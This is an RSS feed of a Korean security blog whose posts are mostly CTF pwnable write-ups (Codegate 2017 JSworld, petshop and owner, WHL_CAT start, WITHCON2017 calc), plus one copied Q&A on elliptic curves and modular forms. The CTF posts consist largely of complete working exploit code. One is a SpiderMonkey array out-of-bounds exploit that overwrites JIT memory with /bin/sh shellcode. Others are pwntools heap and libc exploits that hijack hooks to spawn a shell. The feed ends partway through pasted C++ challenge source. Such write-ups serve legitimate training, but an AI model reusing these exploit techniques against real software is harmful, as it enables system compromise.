<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>cdor1's lab</title>
    <link>https://cdor1.tistory.com/</link>
    <description>Since 2016.08~
컴돌이의 해킹 모음집</description>
    <language>ko</language>
    <pubDate>Mon, 13 Jul 2026 01:39:42 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>Cdor1</managingEditor>
    <image>
      <title>cdor1's lab</title>
      <url>https://t1.daumcdn.net/cfile/tistory/25733241590CA24B0A</url>
      <link>https://cdor1.tistory.com</link>
    </image>
    <item>
      <title>Codegate 2017 JSworld</title>
      <link>https://cdor1.tistory.com/228</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;처음 해보는 JavaScript 엔진 익스플로잇이다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;재밌었다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;문제에서 소스를 주는데, 원본 소스를 다운받아서 디핑하고 달라진 점을 찾았다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
1947c1947,1950
&amp;lt; 
---
&amp;gt;     if (index == 0) {
&amp;gt;         /* Step 4b. */
&amp;gt;         args.rval().setUndefined();
&amp;gt;     } else {
1959c1962
&amp;lt; 
---
&amp;gt;     }
1964c1967
&amp;lt;     if (obj-&amp;gt;isNative())
---
&amp;gt;     if (obj-&amp;gt;isNative() &amp;amp;&amp;amp; obj-&amp;gt;getDenseInitializedLength() &amp;gt; index)&lt;/code&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;js::array_pop(JSContext *cx, unsigned argc, Value *vp)&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;array_pop부분인데 index==0체크와 바운드체크가 사라져서 index변수를 오버플로우 시킬수있다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;uint32_t index;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;index는 uint32_t이기에&amp;nbsp;4294967295가 되어서 pop으로 오버플로우 시킨 배열에서 oob가 일어난다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;oob가 생겼으니 익스플로잇 단계를 짜봤다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;1. Uint32Array객체 만들고 객체가 담긴 주소 leak - 배열 사이즈를 기반으로 인덱스 구함. (oob[i] == 0x1000)&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;2. Uint32Array객체 pointer 덮어써서 AAR, AAW&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;3. AAR 이용해서 JIT(rwx)영역 주소 leak하기 - 같은 함수를 연속적으로 불러서 JIT를 사용하도록 유도한 후&amp;nbsp;JIT주소 주변 고정적인 값 기반으로 인덱스 구함.(oob[i] ==&amp;nbsp;'0000017000000181')&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;4. AAW 이용해서 JIT(rwx)영역 쉘코드로 덮어쓰기&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;4. JIT call &amp;amp;&amp;amp; get shell&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;중점적인 내용&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;data += (&quot;00&quot;+shellcode.charCodeAt(i+j).toString(16)).substr(-2);&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;쉘코드에서 문자열로 4바이트 파싱&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;sc[shellcode_idx] = parseInt('0x' + data.match(/.{1,2}/g).reverse().join(''),16);&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;2바이트씩 끊어서 저장하고 리버스시켜서 little endian에 맞춰줌. 0x붙여서 parseInt로 문자열-&amp;gt;정수변환&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;d_to_i2(data)&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;e-notation으로 나오는 값 Float64로 받아서 Uint32로 변환(read)&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;i2_to_d(data)&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;Uint32받아서 e-notation으로 변환(write)&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
function d_to_i2(data){
	var a = new Uint32Array(new Float64Array([data]).buffer);
	return [a[1], a[0]];
}

function i2_to_d(data){
	return new Float64Array(new Uint32Array([data[1], data[0]]).buffer)[0];
}

function i2_to_hex(data){
	var v1 = (&quot;00000000&quot; + data[0].toString(16)).substr(-8);
	var v2 = (&quot;00000000&quot; + data[1].toString(16)).substr(-8);
	return [v1, v2];
}

function p_i2(data){
	print(i2_to_hex(d_to_i2(data))[0] + i2_to_hex(d_to_i2(data))[1]);
}
var trigger = new Array(1);
trigger[0] = 0x41414141;
var array = new Uint32Array(0x1000);

for(var i = 0; i&amp;lt;0x1000; i++){
	array[i] = 0x42424242;
}

trigger.pop();
trigger.pop();

var offset = 0;
print('oob triggered : ' + trigger.length);
for(var i = 0; i&amp;lt;0x1000; i++){
	if(trigger[i] == 0x1000){
		offset = i + 2;
		print('Uint32Array offset : ' + offset);
		print('Uint32Array data : ' + trigger[offset]);
		p_i2(trigger[offset]);
		break;
	}
}

for(var i = 0; i&amp;lt;20; i++){
	getshell(1)
}

jit_address_offset=0
for (i=0x0; i&amp;lt;0x10000; i++)
{
        hx=i2_to_hex(d_to_i2(trigger[i]))
        if(hx[0]+hx[1]=='0000017000000181')
        {
                print('function found');
                jit_address_offset=i-2
		print('jit offset : ' +	jit_address_offset);
                print('jit data : ' + trigger[jit_address_offset]);
		p_i2(trigger[jit_address_offset]);
		break;
        }
}
function getshell(args1){
	print(&quot;SHELL&quot;);
}

function write(addr, data){
	        trigger[offset] = i2_to_d(addr);
		array[0] = data;
}

function read(addr){
	        trigger[offset] = i2_to_d(addr);
		return array[0]
}
function shellcode_to_jit(addr, shellcode){
	var sc=[];
	var data='';
	var shellcode_idx = 0;
	for(var i = 0; i &amp;lt; shellcode.length; i+=4){
		for(var j = 0; j&amp;lt;4; j++){
			data += (&quot;00&quot;+shellcode.charCodeAt(i+j).toString(16)).substr(-2);
		}
		sc[shellcode_idx] = parseInt('0x' + data.match(/.{1,2}/g).reverse().join(''),16);
		data = '';
		shellcode_idx++;
	}
	for(var i = 0; i &amp;lt; shellcode.length; i++){
		addr[1] += 4;
		write(addr, sc[i]);
	}
}
var shellcode = &quot;\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05&quot;;
shellcode_to_jit(d_to_i2(trigger[jit_address_offset]), shellcode);
getshell(1);&lt;/code&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;ref : https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/&lt;br /&gt;&lt;/p&gt;</description>
      <category>Security/Pwnable</category>
      <author>Cdor1</author>
      <guid isPermaLink="true">https://cdor1.tistory.com/228</guid>
      <comments>https://cdor1.tistory.com/228#entry228comment</comments>
      <pubDate>Fri, 4 May 2018 19:42:57 +0900</pubDate>
    </item>
    <item>
      <title>codegate 2017 review</title>
      <link>https://cdor1.tistory.com/225</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;petshop&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from pwn import *
s = process('./petshop')
raw_input()

def buy(select):
    print s.recvuntil('select:\n')
    s.sendline('1')
    print s.recvuntil('select:\n')
    s.sendline(str(select))

def sell():
    print s.recvuntil('select:\n')
    s.sendline('2')

def sound(select):
    print s.recvuntil('select:\n')
    s.sendline('3')
    print s.recvuntil('select for sound:\n')
    s.sendline(str(select))

def set_pet(select, name, sound, feed):
    print s.recvuntil('select:\n')
    s.sendline('4')
    print s.recvuntil('select for set:\n')
    s.sendline(str(select))
    print s.recvuntil('name:\n')
    s.sendline(name)
    print s.recvuntil('sound:\n')
    s.sendline(sound)
    print s.recvuntil('feed:\n')
    s.sendline(feed)

def list():
    print s.recvuntil('select:\n')
    s.sendline('5')

def set_name(name):
    print s.recvuntil('select:\n')
    s.sendline('6')
    print s.recvuntil(&quot;What's your name?\n&quot;)
    s.sendline(name)

buy(1)
set_name('dddd')
set_pet(1, 'aaaa', 'bbbb', 'c'*12 + p64(0x604088) + '\x10')
list()
print s.recvuntil('person:')
libc_leak = u64(s.recv(6).ljust(8, '\x00'))
libc_base = libc_leak - 0xa59d0
oneshot = libc_base + 0xf1147
system = libc_base + 0x45390
log.info('libc : ' + hex(libc_leak))
log.info('libc_base : ' + hex(libc_base))
log.info('oneshot : ' + hex(oneshot))

buy(1)
set_pet(2, ';/bin/sh;', ';/bin/sh;', 'c'*12 + p64(0x604088) + '\x10' + '/bin/sh;'*0x10)

set_name(p64(system)[:-1])

s.interactive()&lt;/code&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;owner&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from pwn import *
s = process('./owner')

def go_back():
    print s.recv(4096)
    s.sendline('-1')

def add_apart(name, floor, house, something):
    print s.recvuntil('&amp;gt; ')
    s.sendline('1')
    print s.recvuntil(&quot;What is your apartment's name? \n&quot;)
    s.sendline(name)
    print s.recvuntil('How many floor on your apartment? ')
    s.sendline(str(floor))
    print s.recvuntil('How many house in each floor? ')
    s.sendline(str(house))
    print s.recvuntil('Describe something about it :')
    s.sendline(something)

def edit(select1, select2, modify_select=0, new=0, flag=0): # -1 -1 -1
    print s.recvuntil('&amp;gt; ')
    s.sendline('4')
    print s.recvuntil('&amp;gt; ')
    s.sendline('1')
    print s.recvuntil('&amp;gt; ')
    s.sendline(str(select1))
    print s.recvuntil('&amp;gt; ')
    s.sendline(str(select2))
    if flag:
        print s.recvuntil('&amp;gt; ')
        s.sendline(str(modify_select))
        print s.recv()
        s.sendline(new)

def change(select1, select2, select3): # -1 -1
    print s.recvuntil('&amp;gt; ')
    s.sendline('4')
    print s.recvuntil('&amp;gt; ')
    s.sendline('2')
    print s.recvuntil('&amp;gt; ')
    s.sendline(str(select1))
    print s.recvuntil('&amp;gt; ')
    s.sendline(str(select2))
    print s.recvuntil('&amp;gt; ')
    s.sendline(str(select3))

add_apart('1234', '1234', '1234', '1234')
add_apart('1234', '1234', '1234', '1234')
change(1, 1, 2)
go_back()
go_back()
edit(3, 1)
print s.recvuntil('Normal price of menu : ')
heap_leak = int(s.recv(14))
heap_base = heap_leak - 0x12cf0
log.info('heap_leak : ' + hex(heap_leak))
log.info('heap_base : ' + hex(heap_base))

go_back()
go_back()
go_back()

edit(1, 1, 1, 'a'*0x100, 1)
go_back()
go_back()
go_back()
change(1, 1 ,2)
go_back()
go_back()
edit(3, 2)
print s.recvuntil('Normal price of menu : ')
libc_leak = int(s.recv(15))
libc_base = libc_leak - 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
oneshot = libc_base + 0xf02a4
log.info('libc_leak : ' + hex(libc_leak))
log.info('libc_base : ' + hex(libc_base))
go_back()
go_back()
go_back()
edit(3, 1, 6, str(malloc_hook), 1)
go_back()
go_back()
go_back()
edit(1, 1, 1, p64(oneshot), 1)
go_back()
go_back()
go_back()
s.sendline('5')
s.interactive()
&lt;/code&gt;
&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Security/Pwnable</category>
      <author>Cdor1</author>
      <guid isPermaLink="true">https://cdor1.tistory.com/225</guid>
      <comments>https://cdor1.tistory.com/225#entry225comment</comments>
      <pubDate>Mon, 29 Jan 2018 22:51:25 +0900</pubDate>
    </item>
    <item>
      <title>타원곡선, 모듈형식 (모듈러성 정리)</title>
      <link>https://cdor1.tistory.com/223</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;table class=&quot;protectTable&quot; style=&quot;font-family: 굴림, gulim, tahoma, sans-serif; font-size: 12px; line-height: 1.6; width: 1167px; position: relative; color: rgb(51, 51, 51);&quot;&gt;&lt;tbody&gt;&lt;tr style=&quot;line-height: 1.6;&quot;&gt;&lt;td style=&quot;font-family: 굴림, gulim, tahoma, sans-serif; font-size: 12px; line-height: 1.6;&quot;&gt;&lt;p&gt;[질문-폭풍속으로]&amp;nbsp;&lt;br /&gt;영국의 정수론 학자 엔드루 와일즈가 타니야마-시무라의 추론(현재는 증명이 되었으니까 정리라는 표현이 옳을 것 같습니다)을 증명함으로서 페르마의 마지막 정리를 증명하였습니다.&amp;nbsp;&lt;br /&gt;타니야마-시무라의 추론은 [모든 타원곡선은 하나의 모듈형태에 대응한다]입니다.&amp;nbsp;&lt;br /&gt;여기서 말하는 타원곡선은 말그대로의 타원곡선이 아니고 정수론의 한 분야라고 하던데요, 타원곡선에 대해서 알고 계신분이 있으면 간단해도 좋은니까 설명을 부탁드립니다.&amp;nbsp;&lt;br /&gt;또 모듈형태라는 것이 정수론의 분야는 아니지만 타원곡선과 관계가 있다고하니까 모듈형태에 대해서도 가르쳐주시면 감사하겠습니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;[답변1. by add1 님]&amp;nbsp;&lt;br /&gt;모듈 형태란 그림으로 표현할 수 없습니다. 상상할 수도 없는 존재구요. 모듈 형태 역시 두개의 기준축상에서 정의되긴 하지만 각각의 축에는 실수가 아닌 복소수가 대응되요. 즉 축상의 한 점에 대응되는 수는 실수부와 허수부를 모두 갖고 있는겁니다. 모듈 형태는 두개의 복소수 축이 만드는 평면 중 위쪽 상반부에서만 정의됩니다. 하지만 두개의 복소수 축이 만드는 공간은 네 개의 좌표 x, y, x허수부, y허수부 에 의해 정의되므로 4차원의 공간이기 때문입니다. 이 4차원 공간을 하이퍼볼릭 공간이라구도 부르는데여. 우리가 3차원 공간만 인식하면서 살기 때문에 이 공간이 4차원이라는 것을 간과하고 있구요. 수학적으로 우주는 분명히 4차원이죠. 모듈 형태는 병진대칭, 교환대칭, 반전대칭, 회전대칭 등.. 대부분의 변환에 대하여 대칭성을 갖고 있구여. 하이퍼볼릭 공간에 존재하는 모듈 형태는 다양한 형태와 크기를 갖고 있지만 이들 모두는 동일한 기초에서 형성된 거죠. 이 구성 요소는 1부터 무한대까지 m1,m2,m3,m4... 등으로 표현되구여. 첫번째 구성 요소가 1개이면 m1=1 두번째 구성요소가 3개이면 m2=3 가 되져.. 모듈 형태의 구조를 설명해 주는 이 갑들을 나열해 놓은 급수를 모듈 급수라고 해여. 즉, m급수라고 하죠. 모듈 급수에 나타나 있는 구성요소를 변화시키면 동일한 대칭성을 가지면서도 완전히 다른 모듈 형태를 만들어낼 수 있거나 아예 대칭성을 완전히 잃어버려 더 이상 모듈 형태가 아닌 새로운 대상을 만들어낼 수 있다네여. 모듈은 타원방정식과는 연관이 없다구 믿어왔다는군여. 타원방정식은 대칭성과는 아무런 관계가 없기 때문이에여. 모듈과 타원은 둘 다 수학이지만 분야가 너무도 판이하게 달라서 둘 사이에 모종의 관계가 있을 것이라는 사람은 없었다구해여. 아시겠지만 타니야마 시무라의 추론은 그러한 발상을 뒤집는.. 타원방정식과 모듈 형태가 근본적으로 동일하다는 내용이었져.. 타원방정식과 타니야마 시무라의 추론이 왜 정수론에&amp;nbsp;나오느냐.. 제생각이지만. 페르마의 정리의 증명과정이기 때문이라생각합니다. 써놓구도 무슨말인지 잘모르겠네여. 제가 부족하기땜쉬.. 나름대로 모듈을 이해하시는 분들은 답글 적어주심 감사하겠네여. 더 알고싶네여&amp;nbsp;&lt;br /&gt;&lt;br /&gt;[답변2. by 형세 님]&amp;nbsp;&lt;br /&gt;&lt;a href=&quot;http://www.math-atlas.org/welcome.html&quot; target=&quot;_blank&quot; style=&quot;color: rgb(51, 51, 51);&quot;&gt;http://www.math-atlas.org/welcome.html&lt;/a&gt;&amp;nbsp;&lt;br /&gt;이곳을 방문하셔서 14H52의 elliptic curves 를 검색해 보십시오. 그리 도움이 되지는 않겠지만 아쉽게나마 궁금증을 해결하실 듯 합니다.&amp;nbsp;&lt;br /&gt;혹시 reference라면 UTM에서 나온 Tate의&amp;nbsp;&lt;br /&gt;&quot;Rational points on elliptic curves&quot;를 보십시오. 이 분야에서 학부수준의 대수로 볼 수 있는 유일한(?)책이지 않을까 싶습니다. 쉬우면서도 깊은 내용까지 다루었습니다.&lt;br /&gt;&lt;br /&gt;출처 :&amp;nbsp;http://cafe323.daum.net/_c21_/bbs_search_read?grpid=KKzs&amp;amp;fldid=Fy6u&amp;amp;contentval=00027zzzzzzzzzzzzzzzzzzzzzzzzz&amp;amp;nenc=&amp;amp;fenc=&amp;amp;q=&amp;amp;nil_profile=cafetop&amp;amp;nil_menu=sch_updw&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Life/Math</category>
      <author>Cdor1</author>
      <guid isPermaLink="true">https://cdor1.tistory.com/223</guid>
      <comments>https://cdor1.tistory.com/223#entry223comment</comments>
      <pubDate>Sun, 21 Jan 2018 18:52:55 +0900</pubDate>
    </item>
    <item>
      <title>WHL_CAT-security start</title>
      <link>https://cdor1.tistory.com/214</link>
      <description>&lt;pre&gt;&lt;code&gt;
from pwn import *
import sys

DEBUG = True
server = &quot;127.0.0.1&quot;
port = 11111
p = None
target = &quot;./start_whl&quot;
if len(sys.argv) &amp;gt; 1:
	DEBUG = False
	pass
else:
	#p = remote('10.10.134.127', 30000)
	p = process(target, env={'LD_PRELOAD':'./libc.so.6'})

def add(name, age, feature):
	p.sendline('1')
	print p.recv()
	p.send(name)
	print p.recv()
	p.sendline(str(age))
	print p.recv()
	p.send(feature)

def delete(index):
	p.sendline(&quot;2&quot;)
	print p.recv()
	p.sendline(str(index))
	print p.recvuntil(recv_until)

def overwrite(index, overwrite):
	p.sendline('3')
	print p.recv()
	p.send(str(index))

recv_until = &quot;&amp;gt;&amp;gt;&amp;gt;&quot;
print p.recv()
add('a'*20, '1234','a'*80)
overwrite(4294967290, 0)
print p.recv()
p.sendline('2')
print p.recvuntil('FEATURE : ')
leak = u64(p.recv(6).ljust(8,'\x00'))
base = leak - 0x3c4963
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(base))
p.sendline('1')

p.recv()

p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('3')
print p.recv()
p.sendline('a'*79)
print p.recv()

p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('1')
print p.recv()
p.sendline('a'*19)
print p.recv()

p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('3')
print p.recv()
p.send(p64(base+0xf0274)*10)
print p.recv()
add('a'*20, '1', p64(base+0xf0274)*10)
overwrite(4294967292, 0)
raw_input()
print p.recv()
p.sendline('2')
print p.recv()
p.sendline(str(0x5d))

p.interactive()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;조건을 잘 맞추어 주면 하위 1바이트를 덮어낼 수 있는데&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;dl_runtime_resolve를 add rsp + 0x30, ret있는 부분으로 맞춰주게 되면&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;한번도 콜 된적 없던 exit()함수가 resolve함수를 통해서 libc 주소를 가져오는 과정에서 스택이 리프팅되고&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;후에 stack_chk_fail을 부르면서도 resolve함수를 통해 스택이 다시 리프팅되고 ret되어 우리가 써준 원샷 가젯으로 rip를 돌릴 수 있다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;overwirte dl_runtime_resolve, (stack lift, ret) * 2&lt;/p&gt;</description>
      <category>Security/Pwnable</category>
      <author>Cdor1</author>
      <guid isPermaLink="true">https://cdor1.tistory.com/214</guid>
      <comments>https://cdor1.tistory.com/214#entry214comment</comments>
      <pubDate>Tue, 28 Nov 2017 21:15:12 +0900</pubDate>
    </item>
    <item>
      <title>WITHCON2017 calc</title>
      <link>https://cdor1.tistory.com/211</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;c++로 짜여진 계산기 문제다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;a = &quot;AAA&quot;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;a = 90&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;으로 공동 사용하는 size값을 속여버리면 overflow가 가능해지고 밑에있는 포인터를 덮어 익스플로잇 가능하다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from pwn import *
s = process('./calc')

def rv():
    print s.recv()

rv()
s.sendline('a')
rv()
s.sendline('')
rv()
s.sendline('')
rv()
s.sendline('')
print s.recv().encode('hex')
print s.recvuntil('&amp;gt;&amp;gt;&amp;gt; ')
print s.recvuntil('&amp;gt;&amp;gt;&amp;gt; ')
leak = u32(s.recv(4)) - 0x20c7b0
realloc_hook= leak + 0x20c764
system = leak + 0x91060
log.info('leak : ' + hex(leak))
log.info('realloc_hook : ' + hex(realloc_hook))
rv()
s.sendline('a=&quot;AAA&quot;')
rv()
s.sendline('a=90')
rv()
s.sendline('a=&quot;ASDFASDFASDFASDF' + p32(realloc_hook - 3) + 'F' + '&quot;')
raw_input()
rv()
s.sendline('a=&quot;sh;' + p32(system) + '&quot;')
rv()
s.sendline('a=&quot;AAAAAAAAAAAAAAAAAAAAAAAA&quot;')
s.interactive()
&lt;/code&gt;
&lt;/pre&gt;

&lt;pre&gt;&lt;code&gt;
#include &lt;iostream&gt;
#include &lt;memory&gt;
#include &lt;vector&gt;
#include &lt;cstdlib&gt;
#include &lt;cstring&gt;
#include &lt;csignal&gt;
#include &lt;unistd.h&gt;
using namespace std;

enum struct T:char { END, INT, PLUS, UPLUS, MINUS, UMINUS, MUL, DIV, LP, RP, ID, ASSIGN, STR, EXIT };

void print(char *s, int n) {
    if (n &amp;gt; 0) fwrite(s, 1, n, stdout);
}

typedef struct Token {
    char* str;
    union {
        int size;
        int value; //
    };
    T type;
    Token(T type) : type(type) {};
    Token(T type, int value) : value(value), type(type) {};
    Token(T type, char* str) : str(str), size(strlen(str)), type(type) {};
    ~Token() { if (type == T::ID || type == T::STR) free(str); }
} *pToken;
using sToken = shared_ptr&lt;token&gt;;

class Lexer {
    int pos;
    string input;
    pToken readId();
    pToken readStr();
    pToken readDigit();
public:
    Lexer(string &amp;amp;input) : pos(0), input(input) {};
    pToken nToken();
};

pToken Lexer::readDigit() {
    auto i = 0;
    while (isdigit(input[pos])) i = i * 10 + input[pos++] - '0';
    if (i &amp;gt; 99) throw &quot;does not support integer bigger than 99&quot;;
    return new Token(T::INT, i);;
};

pToken Lexer::readId() {
    auto limit = 0;
    auto start = pos;
    while (isalnum(input[pos++])) if (++limit &amp;gt; 1337) throw &quot;does not support ID longer than 1337&quot;;
    if (!strncmp(&quot;exit&quot;, input.substr(start, pos--).c_str(), 4)) return new Token(T::EXIT);
    char* str = (char*)calloc(pos - start + 1, 1);
    if (!str) throw &quot;Internal Error&quot;;
    strncpy(str, input.substr(start, pos).c_str(), pos - start);
    return new Token(T::ID, str);
};

pToken Lexer::readStr() {
    auto limit = 0;
    auto start = ++pos;
    while (input[pos++] != '&quot;') if (++limit &amp;gt; 1337) throw &quot;does not support string longer than 1337&quot;;
    --pos;
    char* str = (char*)calloc(pos - start + 1, 1);
    if (!str) throw &quot;Internal Error&quot;;
    strncpy(str, input.substr(start, pos - 1).c_str(), pos++ - start);
    return new Token(T::STR, str);
};

pToken Lexer::nToken() {
    while (input[pos] == ' ') pos++;
      if (pos == input.length()) return new Token(T::END);
    if (isdigit(input[pos])) return readDigit();
    if (isalpha(input[pos])) return readId();
    if (input[pos] == '+') return new Token(T::PLUS, input[pos++]);
    if (input[pos] == '-') return new Token(T::MINUS, input[pos++]);
    if (input[pos] == '*') return new Token(T::MUL, input[pos++]);
    if (input[pos] == '/') return new Token(T::DIV, input[pos++]);
    if (input[pos] == '(') return new Token(T::LP, input[pos++]);
    if (input[pos] == ')') return new Token(T::RP, input[pos++]);
    if (input[pos] == '&quot;') return readStr();
    if (input[pos] == '=') return new Token(T::ASSIGN, input[pos++]);
    throw &quot;Lexer Error&quot;;
};

struct Node {
    shared_ptr&lt;token&gt;token;
    vector&lt;shared_ptr&lt;node&gt;&amp;gt;children;
    Node(sToken token) : token(token) {};
};
using sNode = shared_ptr&lt;node&gt;;

class Parser {
    shared_ptr&lt;lexer&gt; lexer;
    shared_ptr&lt;token&gt; cur;
    void next(T);
    sNode factor();
    sNode term();
    sNode expr();
    sNode assign();
public:
    Parser(shared_ptr&lt;lexer&gt; lexer) : lexer(lexer), cur(lexer-&amp;gt;nToken()) {};
    sNode parse();
};

void Parser::next(T type) {
    if (cur-&amp;gt;type == type) cur.reset(lexer-&amp;gt;nToken());
    else throw &quot;Parser Error&quot;;
};

sNode Parser::factor() {
    auto node = make_shared&lt;node&gt;(cur);
    auto osNode = make_shared&lt;node&gt;(cur);
    switch (cur-&amp;gt;type) {
        case T::LP:
            next(T::LP);
            node = expr();
            next(T::RP);
        break;
        case T::PLUS:
        case T::MINUS:
            cur-&amp;gt;type = cur-&amp;gt;type == T::PLUS ? T::UPLUS : T::UMINUS;
            next(cur-&amp;gt;type);
            osNode-&amp;gt;children.push_back(factor());
            node = osNode;
        break;
        case T::ID:
        case T::INT:
        case T::STR:
        case T::MUL:
        case T::DIV:
        case T::EXIT:
            next(cur-&amp;gt;type);
        break;
    };
    return node;
};

sNode Parser::term() {
    auto node = factor();
    while (true) {
        if (cur-&amp;gt;type == T::MUL || cur-&amp;gt;type == T::DIV) {
            auto osNode = make_shared&lt;node&gt;(cur);
            next(cur-&amp;gt;type);
            osNode-&amp;gt;children.push_back(node);
            auto check = factor();
            if (check-&amp;gt;token-&amp;gt;type == T::END) throw &quot;Parser Error&quot;;
            osNode-&amp;gt;children.push_back(check);
            node = osNode;
        } else break;
    }
    return node;
};

sNode Parser::expr() {
    auto node = term();
    while (true) {
        if (cur-&amp;gt;type == T::PLUS || cur-&amp;gt;type == T::MINUS) {
            auto osNode = make_shared&lt;node&gt;(cur);
            next(cur-&amp;gt;type);
            osNode-&amp;gt;children.push_back(node);
            auto check = term();
            if (check-&amp;gt;token-&amp;gt;type == T::END) throw &quot;Parser Error&quot;;
            osNode-&amp;gt;children.push_back(check);
            node = osNode;
        } else break;
    }
    return node;
};

sNode Parser::assign() {
    auto node = expr();
    while (true) {
        if (cur-&amp;gt;type == T::ASSIGN) {
            auto osNode = make_shared&lt;node&gt;(cur);
            next(cur-&amp;gt;type);
            osNode-&amp;gt;children.push_back(node);
            auto check = expr();
            if (check-&amp;gt;token-&amp;gt;type == T::END) throw &quot;Parser Error&quot;;
            osNode-&amp;gt;children.push_back(check);
            node = osNode;
        } else break;
    }
    return node;
};

sNode Parser::parse() {
    auto result = assign();
    if (cur-&amp;gt;type != T::END) throw &quot;Parser Error&quot;;
    return result;
};

static struct Symbol {
    char* id;
    sToken token;
    Symbol* next;
    Symbol(){};
    Symbol(char *str, sToken token) : token(token) {
        id = (char*) calloc(strlen(str) + 1, 1);
        if (!id) throw &quot;Internal Error&quot;;
        strcpy(id, str);
    };
} SymTab;

class Calc {
    sToken visitor(sNode);
    sToken visitUnaryOp(sNode);
    sToken visitBinaryOp(sNode);
    sToken visitId(sNode);
    sToken visitAssign(sNode);
public:
    void interpret(sNode);
};

sToken Calc::visitor(sNode node) {
    switch (node-&amp;gt;token-&amp;gt;type) {
        case T::EXIT:
            print((char*)&quot;Bye\n&quot;, 4);
            exit(0);
        case T::END:
            return node-&amp;gt;token;
        case T::INT:
        case T::STR:
            return node-&amp;gt;token;
        case T::UPLUS:
        case T::UMINUS:
            return visitUnaryOp(node);
        case T::PLUS:
        case T::MINUS:
        case T::MUL:
        case T::DIV:
            return visitBinaryOp(node);
        case T::ASSIGN:
            return visitAssign(node);
        case T::ID:
            auto check = visitId(node);
            if (!check) throw &quot;Symbol Error&quot;;
            return check;
     };
     throw &quot;Syntax Error&quot;;
};

sToken Calc::visitUnaryOp(sNode node) {
    auto result = 0;
    auto op = visitor(node-&amp;gt;children[0]);
    if (op-&amp;gt;type == T::INT) result = op-&amp;gt;value;
    else if(op-&amp;gt;type == T::STR) result = atoi(op-&amp;gt;str);
    else throw &quot;Syntax Error&quot;;
    return make_shared&lt;token&gt;(T::INT, node-&amp;gt;token-&amp;gt;type == T::UPLUS ? +op-&amp;gt;value : -op-&amp;gt;value);
};

sToken Calc::visitBinaryOp(sNode node) {
    auto left = 0;
    auto right = 0;
